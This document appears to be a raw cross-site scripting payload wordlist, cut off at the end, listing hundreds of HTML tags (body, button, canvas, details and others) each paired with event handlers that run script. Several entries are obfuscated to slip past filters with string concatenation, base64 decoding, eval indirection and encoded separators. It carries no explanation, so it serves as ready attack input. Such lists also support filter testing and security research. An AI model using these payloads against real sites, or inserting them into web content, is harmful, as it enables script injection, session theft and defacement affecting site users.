onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;> <body onload="document.vulnerable=true;"> <body onload=;;;;;;;;;;;_=alert;_(1);;;; <body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;; <body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;; <body onload=a1={x:this.parent.document};a1.x.writeln(1);> <body onload=alert(1)> <body onload body onload="javascript:javascript:alert(1)"></body onload> <body onmessage=alert(1)> <body onmousedown="alert(1)">test</body> <body onmouseenter="alert(1)">test</body> <body onmouseleave="alert(1)">test</body> <body onmousemove="alert(1)">test</body> <body onmouseout="alert(1)">test</body> <body onmouseover="alert(1)">test</body> <body onmouseup="alert(1)">test</body> <body onorientationchange=alert(1)> <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide> <body onpageshow=alert(1)> <body onpaste="alert(1)" contenteditable>test</body> <body onpopstate=alert(1)> <body onresize="alert(1)"> <body onresize=alert(1)>press F12! <body onscroll=alert(1)><br><br><br><br> <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br> <body onscroll=alert(1)><div style=height:1000px></div><div id=x></div> <body onscroll=alert(XSS)><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <body onscroll=javascript:alert(1)><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus> <body onscroll=javascript:alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> <body onunhandledrejection=alert(1)><script>fetch('//xyz')</script> <body onunload="javascript:alert('XSS');"> <body onunload body onunload="javascript:javascript:alert(1)"></body onunload> <body onwheel=alert(1)> <body src=1 href=1 onerror="javascript:alert(1)"></body> <body style="background:gray"> <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x <b onbeforecopy="alert(1)" contenteditable>test</b> <b onbeforecut="alert(1)" contenteditable>test</b> <b onbeforepaste="alert(1)" contenteditable>test</b> <b onblur=alert(1) tabindex=1 id=x></b><input autofocus> <b onclick="alert(1)">test</b> <b oncontextmenu="alert(1)">test</b> <b oncopy="alert(1)" contenteditable>test</b> <b oncut="alert(1)" contenteditable>test</b> <b ondblclick="alert(1)">test</b> <b onfocusout=alert(1) tabindex=1 id=x></b><input autofocus> <b onkeydown="alert(1)" contenteditable>test</b> <b onkeypress="alert(1)" contenteditable>test</b> <b onkeyup="alert(1)" contenteditable>test</b> <b onmousedown="alert(1)">test</b> <b onmouseenter="alert(1)">test</b> <b onmouseleave="alert(1)">test</b> <b onmousemove="alert(1)">test</b> <b onmouseout="alert(1)">test</b> <b onmouseover="alert(1)">test</b> <b onmouseup="alert(1)">test</b> <b onpaste="alert(1)" contenteditable>test</b> <br/><hr/> <br> <br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><x id=x>#x <br><x id=x>#x <br SIZE="&{document.vulnerable=true}"> <br draggable="true" ondrag="alert(1)">test</br> <br draggable="true" ondragend="alert(1)">test</br> <br draggable="true" ondragenter="alert(1)">test</br> <br draggable="true" ondragleave="alert(1)">test</br> <br draggable="true" ondragstart="alert(1)">test</br> <br id=x tabindex=1 onactivate=alert(1)></br> <br id=x tabindex=1 onbeforeactivate=alert(1)></br> <br id=x tabindex=1 onbeforedeactivate=alert(1)></br><input autofocus> <br id=x tabindex=1 ondeactivate=alert(1)></br><input id=y autofocus> <br id=x tabindex=1 onfocus=alert(1)></br> <br id=x tabindex=1 onfocusin=alert(1)></br> <br onbeforecopy="alert(1)" contenteditable>test</br> <br onbeforecut="alert(1)" contenteditable>test</br> <br onbeforepaste="alert(1)" contenteditable>test</br> <br onblur=alert(1) tabindex=1 id=x></br><input autofocus> <br onclick="alert(1)">test</br> <br oncontextmenu="alert(1)">test</br> <br oncopy="alert(1)" contenteditable>test</br> <br oncut="alert(1)" contenteditable>test</br> <br ondblclick="alert(1)">test</br> <br onfocusout=alert(1) tabindex=1 id=x></br><input autofocus> <br onkeydown="alert(1)" contenteditable>test</br> <br onkeypress="alert(1)" contenteditable>test</br> <br onkeyup="alert(1)" contenteditable>test</br> <br onmousedown="alert(1)">test</br> <br onmouseenter="alert(1)">test</br> <br onmouseleave="alert(1)">test</br> <br onmousemove="alert(1)">test</br> <br onmouseout="alert(1)">test</br> <br onmouseover="alert(1)">test</br> <br onmouseup="alert(1)">test</br> <br onpaste="alert(1)" contenteditable>test</br> <br size=\"&{alert('XSS')}\"> <button autofocus onfocus=alert(1)>test</button> <button autofocus onfocusin=alert(1)>test</button> <button draggable="true" ondrag="alert(1)">test</button> <button draggable="true" ondragend="alert(1)">test</button> <button draggable="true" ondragenter="alert(1)">test</button> <button draggable="true" ondragleave="alert(1)">test</button> <button draggable="true" ondragstart="alert(1)">test</button> <button id=x tabindex=1 onactivate=alert(1)></button> <button id=x tabindex=1 onbeforeactivate=alert(1)></button> <button id=x tabindex=1 onbeforedeactivate=alert(1)></button><input autofocus> <button id=x tabindex=1 ondeactivate=alert(1)></button><input id=y autofocus> <button onbeforecopy="alert(1)" contenteditable>test</button> <button onbeforecut="alert(1)" contenteditable>test</button> <button onbeforepaste="alert(1)" contenteditable>test</button> <button onblur=alert(1) id=x></button><input autofocus> <button onclick="alert(1)">test</button> <button oncontextmenu="alert(1)">test</button> <button oncopy="alert(1)" contenteditable>test</button> <button oncut="alert(1)" contenteditable>test</button> <button ondblclick="alert(1)">test</button> <button onfocusout=alert(1) id=x></button><input autofocus> <button onkeydown="alert(1)" contenteditable>test</button> <button onkeypress="alert(1)" contenteditable>test</button> <button onkeyup="alert(1)" contenteditable>test</button> <button onmousedown="alert(1)">test</button> <button onmouseenter="alert(1)">test</button> <button onmouseleave="alert(1)">test</button> <button onmousemove="alert(1)">test</button> <button onmouseout="alert(1)">test</button> <button onmouseover="alert(1)">test</button> <button onmouseup="alert(1)">test</button> <button onpaste="alert(1)" contenteditable>test</button> <canvas draggable="true" ondrag="alert(1)">test</canvas> <canvas draggable="true" ondragend="alert(1)">test</canvas> <canvas draggable="true" ondragenter="alert(1)">test</canvas> <canvas draggable="true" ondragleave="alert(1)">test</canvas> <canvas draggable="true" ondragstart="alert(1)">test</canvas> <canvas id=x tabindex=1 onactivate=alert(1)></canvas> <canvas id=x tabindex=1 onbeforeactivate=alert(1)></canvas> <canvas id=x tabindex=1 onbeforedeactivate=alert(1)></canvas><input autofocus> <canvas id=x tabindex=1 ondeactivate=alert(1)></canvas><input id=y autofocus> <canvas id=x tabindex=1 onfocus=alert(1)></canvas> <canvas id=x tabindex=1 onfocusin=alert(1)></canvas> <canvas onbeforecopy="alert(1)" contenteditable>test</canvas> <canvas onbeforecut="alert(1)" contenteditable>test</canvas> <canvas onbeforepaste="alert(1)" contenteditable>test</canvas> <canvas onblur=alert(1) tabindex=1 id=x></canvas><input autofocus> <canvas onclick="alert(1)">test</canvas> <canvas oncontextmenu="alert(1)">test</canvas> <canvas oncopy="alert(1)" contenteditable>test</canvas> <canvas oncut="alert(1)" contenteditable>test</canvas> <canvas ondblclick="alert(1)">test</canvas> <canvas onfocusout=alert(1) tabindex=1 id=x></canvas><input autofocus> <canvas onkeydown="alert(1)" contenteditable>test</canvas> <canvas onkeypress="alert(1)" contenteditable>test</canvas> <canvas onkeyup="alert(1)" contenteditable>test</canvas> <canvas onmousedown="alert(1)">test</canvas> <canvas onmouseenter="alert(1)">test</canvas> <canvas onmouseleave="alert(1)">test</canvas> <canvas onmousemove="alert(1)">test</canvas> <canvas onmouseout="alert(1)">test</canvas> <canvas onmouseover="alert(1)">test</canvas> <canvas onmouseup="alert(1)">test</canvas> <canvas onpaste="alert(1)" contenteditable>test</canvas> <caption draggable="true" ondrag="alert(1)">test</caption> <caption draggable="true" ondragend="alert(1)">test</caption> <caption draggable="true" ondragenter="alert(1)">test</caption> <caption draggable="true" ondragleave="alert(1)">test</caption> <caption draggable="true" ondragstart="alert(1)">test</caption> <caption id=x tabindex=1 onactivate=alert(1)></caption> <caption id=x tabindex=1 onbeforeactivate=alert(1)></caption> <caption id=x tabindex=1 onbeforedeactivate=alert(1)></caption><input autofocus> <caption id=x tabindex=1 ondeactivate=alert(1)></caption><input id=y autofocus> <caption id=x tabindex=1 onfocus=alert(1)></caption> <caption id=x tabindex=1 onfocusin=alert(1)></caption> <caption onbeforecopy="alert(1)" contenteditable>test</caption> <caption onbeforecut="alert(1)" contenteditable>test</caption> <caption onbeforepaste="alert(1)" contenteditable>test</caption> <caption onblur=alert(1) tabindex=1 id=x></caption><input autofocus> <caption onclick="alert(1)">test</caption> <caption oncontextmenu="alert(1)">test</caption> <caption oncopy="alert(1)" contenteditable>test</caption> <caption oncut="alert(1)" contenteditable>test</caption> <caption ondblclick="alert(1)">test</caption> <caption onfocusout=alert(1) tabindex=1 id=x></caption><input autofocus> <caption onkeydown="alert(1)" contenteditable>test</caption> <caption onkeypress="alert(1)" contenteditable>test</caption> <caption onkeyup="alert(1)" contenteditable>test</caption> <caption onmousedown="alert(1)">test</caption> <caption onmouseenter="alert(1)">test</caption> <caption onmouseleave="alert(1)">test</caption> <caption onmousemove="alert(1)">test</caption> <caption onmouseout="alert(1)">test</caption> <caption onmouseover="alert(1)">test</caption> <caption onmouseup="alert(1)">test</caption> <caption onpaste="alert(1)" contenteditable>test</caption> <center draggable="true" ondrag="alert(1)">test</center> <center draggable="true" ondragend="alert(1)">test</center> <center draggable="true" ondragenter="alert(1)">test</center> <center draggable="true" ondragleave="alert(1)">test</center> <center draggable="true" ondragstart="alert(1)">test</center> <center id=x tabindex=1 onactivate=alert(1)></center> <center id=x tabindex=1 onbeforeactivate=alert(1)></center> <center id=x tabindex=1 onbeforedeactivate=alert(1)></center><input autofocus> <center id=x tabindex=1 ondeactivate=alert(1)></center><input id=y autofocus> <center id=x tabindex=1 onfocus=alert(1)></center> <center id=x tabindex=1 onfocusin=alert(1)></center> <center onbeforecopy="alert(1)" contenteditable>test</center> <center onbeforecut="alert(1)" contenteditable>test</center> <center onbeforepaste="alert(1)" contenteditable>test</center> <center onblur=alert(1) tabindex=1 id=x></center><input autofocus> <center onclick="alert(1)">test</center> <center oncontextmenu="alert(1)">test</center> <center oncopy="alert(1)" contenteditable>test</center> <center oncut="alert(1)" contenteditable>test</center> <center ondblclick="alert(1)">test</center> <center onfocusout=alert(1) tabindex=1 id=x></center><input autofocus> <center onkeydown="alert(1)" contenteditable>test</center> <center onkeypress="alert(1)" contenteditable>test</center> <center onkeyup="alert(1)" contenteditable>test</center> <center onmousedown="alert(1)">test</center> <center onmouseenter="alert(1)">test</center> <center onmouseleave="alert(1)">test</center> <center onmousemove="alert(1)">test</center> <center onmouseout="alert(1)">test</center> <center onmouseover="alert(1)">test</center> <center onmouseup="alert(1)">test</center> <center onpaste="alert(1)" contenteditable>test</center> <circle fill="red" r="40"></circle> <circle r="400"></circle> <cite draggable="true" ondrag="alert(1)">test</cite> <cite draggable="true" ondragend="alert(1)">test</cite> <cite draggable="true" ondragenter="alert(1)">test</cite> <cite draggable="true" ondragleave="alert(1)">test</cite> <cite draggable="true" ondragstart="alert(1)">test</cite> <cite id=x tabindex=1 onactivate=alert(1)></cite> <cite id=x tabindex=1 onbeforeactivate=alert(1)></cite> <cite id=x tabindex=1 onbeforedeactivate=alert(1)></cite><input autofocus> <cite id=x tabindex=1 ondeactivate=alert(1)></cite><input id=y autofocus> <cite id=x tabindex=1 onfocus=alert(1)></cite> <cite id=x tabindex=1 onfocusin=alert(1)></cite> <cite onbeforecopy="alert(1)" contenteditable>test</cite> <cite onbeforecut="alert(1)" contenteditable>test</cite> <cite onbeforepaste="alert(1)" contenteditable>test</cite> <cite onblur=alert(1) tabindex=1 id=x></cite><input autofocus> <cite onclick="alert(1)">test</cite> <cite oncontextmenu="alert(1)">test</cite> <cite oncopy="alert(1)" contenteditable>test</cite> <cite oncut="alert(1)" contenteditable>test</cite> <cite ondblclick="alert(1)">test</cite> <cite onfocusout=alert(1) tabindex=1 id=x></cite><input autofocus> <cite onkeydown="alert(1)" contenteditable>test</cite> <cite onkeypress="alert(1)" contenteditable>test</cite> <cite onkeyup="alert(1)" contenteditable>test</cite> <cite onmousedown="alert(1)">test</cite> <cite onmouseenter="alert(1)">test</cite> <cite onmouseleave="alert(1)">test</cite> <cite onmousemove="alert(1)">test</cite> <cite onmouseout="alert(1)">test</cite> <cite onmouseover="alert(1)">test</cite> <cite onmouseup="alert(1)">test</cite> <cite onpaste="alert(1)" contenteditable>test</cite> <code draggable="true" ondrag="alert(1)">test</code> <code draggable="true" ondragend="alert(1)">test</code> <code draggable="true" ondragenter="alert(1)">test</code> <code draggable="true" ondragleave="alert(1)">test</code> <code draggable="true" ondragstart="alert(1)">test</code> <code id=x tabindex=1 onactivate=alert(1)></code> <code id=x tabindex=1 onbeforeactivate=alert(1)></code> <code id=x tabindex=1 onbeforedeactivate=alert(1)></code><input autofocus> <code id=x tabindex=1 ondeactivate=alert(1)></code><input id=y autofocus> <code id=x tabindex=1 onfocus=alert(1)></code> <code id=x tabindex=1 onfocusin=alert(1)></code> <code onbeforecopy="alert(1)" contenteditable>test</code> <code onbeforecut="alert(1)" contenteditable>test</code> <code onbeforepaste="alert(1)" contenteditable>test</code> <code onblur=alert(1) tabindex=1 id=x></code><input autofocus> <code onclick="alert(1)">test</code> <code oncontextmenu="alert(1)">test</code> <code oncopy="alert(1)" contenteditable>test</code> <code oncut="alert(1)" contenteditable>test</code> <code ondblclick="alert(1)">test</code> <code onfocusout=alert(1) tabindex=1 id=x></code><input autofocus> <code onkeydown="alert(1)" contenteditable>test</code> <code onkeypress="alert(1)" contenteditable>test</code> <code onkeyup="alert(1)" contenteditable>test</code> <code onmousedown="alert(1)">test</code> <code onmouseenter="alert(1)">test</code> <code onmouseleave="alert(1)">test</code> <code onmousemove="alert(1)">test</code> <code onmouseout="alert(1)">test</code> <code onmouseover="alert(1)">test</code> <code onmouseup="alert(1)">test</code> <code onpaste="alert(1)" contenteditable>test</code> <col draggable="true" ondrag="alert(1)">test</col> <col draggable="true" ondragend="alert(1)">test</col> <col draggable="true" ondragenter="alert(1)">test</col> <col draggable="true" ondragleave="alert(1)">test</col> <col draggable="true" ondragstart="alert(1)">test</col> <colgroup draggable="true" ondrag="alert(1)">test</colgroup> <colgroup draggable="true" ondragend="alert(1)">test</colgroup> <colgroup draggable="true" ondragenter="alert(1)">test</colgroup> <colgroup draggable="true" ondragleave="alert(1)">test</colgroup> <colgroup draggable="true" ondragstart="alert(1)">test</colgroup> <colgroup id=x tabindex=1 onactivate=alert(1)></colgroup> <colgroup id=x tabindex=1 onbeforeactivate=alert(1)></colgroup> <colgroup id=x tabindex=1 onbeforedeactivate=alert(1)></colgroup><input autofocus> <colgroup id=x tabindex=1 ondeactivate=alert(1)></colgroup><input id=y autofocus> <colgroup id=x tabindex=1 onfocus=alert(1)></colgroup> <colgroup id=x tabindex=1 onfocusin=alert(1)></colgroup> <colgroup onbeforecopy="alert(1)" contenteditable>test</colgroup> <colgroup onbeforecut="alert(1)" contenteditable>test</colgroup> <colgroup onbeforepaste="alert(1)" contenteditable>test</colgroup> <colgroup onblur=alert(1) tabindex=1 id=x></colgroup><input autofocus> <colgroup onclick="alert(1)">test</colgroup> <colgroup oncontextmenu="alert(1)">test</colgroup> <colgroup oncopy="alert(1)" contenteditable>test</colgroup> <colgroup oncut="alert(1)" contenteditable>test</colgroup> <colgroup ondblclick="alert(1)">test</colgroup> <colgroup onfocusout=alert(1) tabindex=1 id=x></colgroup><input autofocus> <colgroup onkeydown="alert(1)" contenteditable>test</colgroup> <colgroup onkeypress="alert(1)" contenteditable>test</colgroup> <colgroup onkeyup="alert(1)" contenteditable>test</colgroup> <colgroup onmousedown="alert(1)">test</colgroup> <colgroup onmouseenter="alert(1)">test</colgroup> <colgroup onmouseleave="alert(1)">test</colgroup> <colgroup onmousemove="alert(1)">test</colgroup> <colgroup onmouseout="alert(1)">test</colgroup> <colgroup onmouseover="alert(1)">test</colgroup> <colgroup onmouseup="alert(1)">test</colgroup> <colgroup onpaste="alert(1)" contenteditable>test</colgroup> <col id=x tabindex=1 onactivate=alert(1)></col> <col id=x tabindex=1 onbeforeactivate=alert(1)></col> <col id=x tabindex=1 onbeforedeactivate=alert(1)></col><input autofocus> <col id=x tabindex=1 ondeactivate=alert(1)></col><input id=y autofocus> <col id=x tabindex=1 onfocus=alert(1)></col> <col id=x tabindex=1 onfocusin=alert(1)></col> <col onbeforecopy="alert(1)" contenteditable>test</col> <col onbeforecut="alert(1)" contenteditable>test</col> <col onbeforepaste="alert(1)" contenteditable>test</col> <col onblur=alert(1) tabindex=1 id=x></col><input autofocus> <col onclick="alert(1)">test</col> <col oncontextmenu="alert(1)">test</col> <col oncopy="alert(1)" contenteditable>test</col> <col oncut="alert(1)" contenteditable>test</col> <col ondblclick="alert(1)">test</col> <col onfocusout=alert(1) tabindex=1 id=x></col><input autofocus> <col onkeydown="alert(1)" contenteditable>test</col> <col onkeypress="alert(1)" contenteditable>test</col> <col onkeyup="alert(1)" contenteditable>test</col> <col onmousedown="alert(1)">test</col> <col onmouseenter="alert(1)">test</col> <col onmouseleave="alert(1)">test</col> <col onmousemove="alert(1)">test</col> <col onmouseout="alert(1)">test</col> <col onmouseover="alert(1)">test</col> <col onmouseup="alert(1)">test</col> <col onpaste="alert(1)" contenteditable>test</col> <command draggable="true" ondrag="alert(1)">test</command> <command draggable="true" ondragend="alert(1)">test</command> <command draggable="true" ondragenter="alert(1)">test</command> <command draggable="true" ondragleave="alert(1)">test</command> <command draggable="true" ondragstart="alert(1)">test</command> <command id=x tabindex=1 onactivate=alert(1)></command> <command id=x tabindex=1 onbeforeactivate=alert(1)></command> <command id=x tabindex=1 onbeforedeactivate=alert(1)></command><input autofocus> <command id=x tabindex=1 ondeactivate=alert(1)></command><input id=y autofocus> <command id=x tabindex=1 onfocus=alert(1)></command> <command id=x tabindex=1 onfocusin=alert(1)></command> <command onbeforecopy="alert(1)" contenteditable>test</command> <command onbeforecut="alert(1)" contenteditable>test</command> <command onbeforepaste="alert(1)" contenteditable>test</command> <command onblur=alert(1) tabindex=1 id=x></command><input autofocus> <command onclick="alert(1)">test</command> <command oncontextmenu="alert(1)">test</command> <command oncopy="alert(1)" contenteditable>test</command> <command oncut="alert(1)" contenteditable>test</command> <command ondblclick="alert(1)">test</command> <command onfocusout=alert(1) tabindex=1 id=x></command><input autofocus> <command onkeydown="alert(1)" contenteditable>test</command> <command onkeypress="alert(1)" contenteditable>test</command> <command onkeyup="alert(1)" contenteditable>test</command> <command onmousedown="alert(1)">test</command> <command onmouseenter="alert(1)">test</command> <command onmouseleave="alert(1)">test</command> <command onmousemove="alert(1)">test</command> <command onmouseout="alert(1)">test</command> <command onmouseover="alert(1)">test</command> <command onmouseup="alert(1)">test</command> <command onpaste="alert(1)" contenteditable>test</command> <comment><img src="</comment><img src=x onerror=javascript:alert(1))//"> <content draggable="true" ondrag="alert(1)">test</content> <content draggable="true" ondragend="alert(1)">test</content> <content draggable="true" ondragenter="alert(1)">test</content> <content draggable="true" ondragleave="alert(1)">test</content> <content draggable="true" ondragstart="alert(1)">test</content> <content id=x tabindex=1 onactivate=alert(1)></content> <content id=x tabindex=1 onbeforeactivate=alert(1)></content> <content id=x tabindex=1 onbeforedeactivate=alert(1)></content><input autofocus> <content id=x tabindex=1 ondeactivate=alert(1)></content><input id=y autofocus> <content id=x tabindex=1 onfocus=alert(1)></content> <content id=x tabindex=1 onfocusin=alert(1)></content> <content onbeforecopy="alert(1)" contenteditable>test</content> <content onbeforecut="alert(1)" contenteditable>test</content> <content onbeforepaste="alert(1)" contenteditable>test</content> <content onblur=alert(1) tabindex=1 id=x></content><input autofocus> <content onclick="alert(1)">test</content> <content oncontextmenu="alert(1)">test</content> <content oncopy="alert(1)" contenteditable>test</content> <content oncut="alert(1)" contenteditable>test</content> <content ondblclick="alert(1)">test</content> <content onfocusout=alert(1) tabindex=1 id=x></content><input autofocus> <content onkeydown="alert(1)" contenteditable>test</content> <content onkeypress="alert(1)" contenteditable>test</content> <content onkeyup="alert(1)" contenteditable>test</content> <content onmousedown="alert(1)">test</content> <content onmouseenter="alert(1)">test</content> <content onmouseleave="alert(1)">test</content> <content onmousemove="alert(1)">test</content> <content onmouseout="alert(1)">test</content> <content onmouseover="alert(1)">test</content> <content onmouseup="alert(1)">test</content> <content onpaste="alert(1)" contenteditable>test</content> <d3v/onauxclick=[2].some(confirm)>click <dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x> <data draggable="true" ondrag="alert(1)">test</data> <data draggable="true" ondragend="alert(1)">test</data> <data draggable="true" ondragenter="alert(1)">test</data> <data draggable="true" ondragleave="alert(1)">test</data> <data draggable="true" ondragstart="alert(1)">test</data> <data id=x tabindex=1 onactivate=alert(1)></data> <data id=x tabindex=1 onbeforeactivate=alert(1)></data> <data id=x tabindex=1 onbeforedeactivate=alert(1)></data><input autofocus> <data id=x tabindex=1 ondeactivate=alert(1)></data><input id=y autofocus> <data id=x tabindex=1 onfocus=alert(1)></data> <data id=x tabindex=1 onfocusin=alert(1)></data> <datalist draggable="true" ondrag="alert(1)">test</datalist> <datalist draggable="true" ondragend="alert(1)">test</datalist> <datalist draggable="true" ondragenter="alert(1)">test</datalist> <datalist draggable="true" ondragleave="alert(1)">test</datalist> <datalist draggable="true" ondragstart="alert(1)">test</datalist> <datalist id=x tabindex=1 onactivate=alert(1)></datalist> <datalist id=x tabindex=1 onbeforeactivate=alert(1)></datalist> <datalist id=x tabindex=1 onbeforedeactivate=alert(1)></datalist><input autofocus> <datalist id=x tabindex=1 ondeactivate=alert(1)></datalist><input id=y autofocus> <datalist id=x tabindex=1 onfocus=alert(1)></datalist> <datalist id=x tabindex=1 onfocusin=alert(1)></datalist> <datalist onbeforecopy="alert(1)" contenteditable>test</datalist> <datalist onbeforecut="alert(1)" contenteditable>test</datalist> <datalist onbeforepaste="alert(1)" contenteditable>test</datalist> <datalist onblur=alert(1) tabindex=1 id=x></datalist><input autofocus> <datalist onclick="alert(1)">test</datalist> <datalist oncontextmenu="alert(1)">test</datalist> <datalist oncopy="alert(1)" contenteditable>test</datalist> <datalist oncut="alert(1)" contenteditable>test</datalist> <datalist ondblclick="alert(1)">test</datalist> <datalist onfocusout=alert(1) tabindex=1 id=x></datalist><input autofocus> <datalist onkeydown="alert(1)" contenteditable>test</datalist> <datalist onkeypress="alert(1)" contenteditable>test</datalist> <datalist onkeyup="alert(1)" contenteditable>test</datalist> <datalist onmousedown="alert(1)">test</datalist> <datalist onmouseenter="alert(1)">test</datalist> <datalist onmouseleave="alert(1)">test</datalist> <datalist onmousemove="alert(1)">test</datalist> <datalist onmouseout="alert(1)">test</datalist> <datalist onmouseover="alert(1)">test</datalist> <datalist onmouseup="alert(1)">test</datalist> <datalist onpaste="alert(1)" contenteditable>test</datalist> <data onbeforecopy="alert(1)" contenteditable>test</data> <data onbeforecut="alert(1)" contenteditable>test</data> <data onbeforepaste="alert(1)" contenteditable>test</data> <data onblur=alert(1) tabindex=1 id=x></data><input autofocus> <data onclick="alert(1)">test</data> <data oncontextmenu="alert(1)">test</data> <data oncopy="alert(1)" contenteditable>test</data> <data oncut="alert(1)" contenteditable>test</data> <data ondblclick="alert(1)">test</data> <data onfocusout=alert(1) tabindex=1 id=x></data><input autofocus> <data onkeydown="alert(1)" contenteditable>test</data> <data onkeypress="alert(1)" contenteditable>test</data> <data onkeyup="alert(1)" contenteditable>test</data> <data onmousedown="alert(1)">test</data> <data onmouseenter="alert(1)">test</data> <data onmouseleave="alert(1)">test</data> <data onmousemove="alert(1)">test</data> <data onmouseout="alert(1)">test</data> <data onmouseover="alert(1)">test</data> <data onmouseup="alert(1)">test</data> <data onpaste="alert(1)" contenteditable>test</data> <dd draggable="true" ondrag="alert(1)">test</dd> <dd draggable="true" ondragend="alert(1)">test</dd> <dd draggable="true" ondragenter="alert(1)">test</dd> <dd draggable="true" ondragleave="alert(1)">test</dd> <dd draggable="true" ondragstart="alert(1)">test</dd> <dd id=x tabindex=1 onactivate=alert(1)></dd> <dd id=x tabindex=1 onbeforeactivate=alert(1)></dd> <dd id=x tabindex=1 onbeforedeactivate=alert(1)></dd><input autofocus> <dd id=x tabindex=1 ondeactivate=alert(1)></dd><input id=y autofocus> <dd id=x tabindex=1 onfocus=alert(1)></dd> <dd id=x tabindex=1 onfocusin=alert(1)></dd> <dd onbeforecopy="alert(1)" contenteditable>test</dd> <dd onbeforecut="alert(1)" contenteditable>test</dd> <dd onbeforepaste="alert(1)" contenteditable>test</dd> <dd onblur=alert(1) tabindex=1 id=x></dd><input autofocus> <dd onclick="alert(1)">test</dd> <dd oncontextmenu="alert(1)">test</dd> <dd oncopy="alert(1)" contenteditable>test</dd> <dd oncut="alert(1)" contenteditable>test</dd> <dd ondblclick="alert(1)">test</dd> <dd onfocusout=alert(1) tabindex=1 id=x></dd><input autofocus> <dd onkeydown="alert(1)" contenteditable>test</dd> <dd onkeypress="alert(1)" contenteditable>test</dd> <dd onkeyup="alert(1)" contenteditable>test</dd> <dd onmousedown="alert(1)">test</dd> <dd onmouseenter="alert(1)">test</dd> <dd onmouseleave="alert(1)">test</dd> <dd onmousemove="alert(1)">test</dd> <dd onmouseout="alert(1)">test</dd> <dd onmouseover="alert(1)">test</dd> <dd onmouseup="alert(1)">test</dd> <dd onpaste="alert(1)" contenteditable>test</dd> <deTAiLs/open/oNtoGGle=confirm()> <del draggable="true" ondrag="alert(1)">test</del> <del draggable="true" ondragend="alert(1)">test</del> <del draggable="true" ondragenter="alert(1)">test</del> <del draggable="true" ondragleave="alert(1)">test</del> <del draggable="true" ondragstart="alert(1)">test</del> <del id=x tabindex=1 onactivate=alert(1)></del> <del id=x tabindex=1 onbeforeactivate=alert(1)></del> <del id=x tabindex=1 onbeforedeactivate=alert(1)></del><input autofocus> <del id=x tabindex=1 ondeactivate=alert(1)></del><input id=y autofocus> <del id=x tabindex=1 onfocus=alert(1)></del> <del id=x tabindex=1 onfocusin=alert(1)></del> <del onbeforecopy="alert(1)" contenteditable>test</del> <del onbeforecut="alert(1)" contenteditable>test</del> <del onbeforepaste="alert(1)" contenteditable>test</del> <del onblur=alert(1) tabindex=1 id=x></del><input autofocus> <del onclick="alert(1)">test</del> <del oncontextmenu="alert(1)">test</del> <del oncopy="alert(1)" contenteditable>test</del> <del oncut="alert(1)" contenteditable>test</del> <del ondblclick="alert(1)">test</del> <del onfocusout=alert(1) tabindex=1 id=x></del><input autofocus> <del onkeydown="alert(1)" contenteditable>test</del> <del onkeypress="alert(1)" contenteditable>test</del> <del onkeyup="alert(1)" contenteditable>test</del> <del onmousedown="alert(1)">test</del> <del onmouseenter="alert(1)">test</del> <del onmouseleave="alert(1)">test</del> <del onmousemove="alert(1)">test</del> <del onmouseout="alert(1)">test</del> <del onmouseover="alert(1)">test</del> <del onmouseup="alert(1)">test</del> <del onpaste="alert(1)" contenteditable>test</del> <details/open/ontoggle="self['wind'%2b'ow']['one'%2b'rror']=self['wind'%2b'ow']['ale'%2b'rt'];throw/**/self['doc'%2b'ument']['domain'];"> <details draggable="true" ondrag="alert(1)">test</details> <details draggable="true" ondragend="alert(1)">test</details> <details draggable="true" ondragenter="alert(1)">test</details> <details draggable="true" ondragleave="alert(1)">test</details> <details draggable="true" ondragstart="alert(1)">test</details> <details id=x tabindex=1 onactivate=alert(1)></details> <details id=x tabindex=1 onbeforeactivate=alert(1)></details> <details id=x tabindex=1 onbeforedeactivate=alert(1)></details><input autofocus> <details id=x tabindex=1 ondeactivate=alert(1)></details><input id=y autofocus> <details id=x tabindex=1 onfocus=alert(1)></details> <details id=x tabindex=1 onfocusin=alert(1)></details> <details onauxclick=confirm`xss`></details> <details onbeforecopy="alert(1)" contenteditable>test</details> <details onbeforecut="alert(1)" contenteditable>test</details> <details onbeforepaste="alert(1)" contenteditable>test</details> <details onblur=alert(1) tabindex=1 id=x></details><input autofocus> <details onclick="alert(1)">test</details> <details oncontextmenu="alert(1)">test</details> <details oncopy="alert(1)" contenteditable>test</details> <details oncut="alert(1)" contenteditable>test</details> <details ondblclick="alert(1)">test</details> <details onfocusout=alert(1) tabindex=1 id=x></details><input autofocus> <details onkeydown="alert(1)" contenteditable>test</details> <details onkeypress="alert(1)" contenteditable>test</details> <details onkeyup="alert(1)" contenteditable>test</details> <details onmousedown="alert(1)">test</details> <details onmouseenter="alert(1)">test</details> <details onmouseleave="alert(1)">test</details> <details onmousemove="alert(1)">test</details> <details onmouseout="alert(1)">test</details> <details onmouseover="alert(1)">test</details> <details onmouseup="alert(1)">test</details> <details onpaste="alert(1)" contenteditable>test</details> <details ontoggle=alert(1) open>test</details> <details open ontoggle=alert(1)> <details open ontoggle=window[490837..toString(1<<5)](atob('YWxlcnQoMSk='))> <dfn draggable="true" ondrag="alert(1)">test</dfn> <dfn draggable="true" ondragend="alert(1)">test</dfn> <dfn draggable="true" ondragenter="alert(1)">test</dfn> <dfn draggable="true" ondragleave="alert(1)">test</dfn> <dfn draggable="true" ondragstart="alert(1)">test</dfn> <dfn id=x tabindex=1 onactivate=alert(1)></dfn> <dfn id=x tabindex=1 onbeforeactivate=alert(1)></dfn> <dfn id=x tabindex=1 onbeforedeactivate=alert(1)></dfn><input autofocus> <dfn id=x tabindex=1 ondeactivate=alert(1)></dfn><input id=y autofocus> <dfn id=x tabindex=1 onfocus=alert(1)></dfn> <dfn id=x tabindex=1 